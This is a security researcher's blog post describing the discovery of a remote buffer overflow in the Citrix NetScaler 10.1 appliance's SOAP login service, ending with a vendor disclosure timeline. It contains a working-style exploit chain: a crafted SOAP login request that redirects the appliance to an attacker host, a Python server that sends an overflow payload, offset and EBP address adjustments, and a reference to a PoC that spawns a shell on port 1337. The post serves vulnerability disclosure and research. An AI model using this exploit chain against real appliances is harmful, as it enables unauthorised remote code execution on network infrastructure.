Scaling the NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd 

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>

It wasn’t clear what this end point was used for and it wasn’t friendly if you hit it directly:

So I grep’d through the application code looking for any calls to this service and got a hit:

root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn’t neutered with the hardcoded “$use_api = true;”

/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
} 

For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this “if” statement was a reference to making a soap call and due to the reference to the local “/soap” and the fact all roads from “do_login” were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:

root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn’t really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:

root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just “junk”, so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn’t really clear exactly what the data was as it was some sort of “binary” stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch “A” into the stream:

import socket,sys
resp = “\x00\x01\x00\x00\xa5\xa5”+ (“A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit “pattern_create” works great for this (“root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000”). After replacing the “A” *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 

resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to “pattern_offset” and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure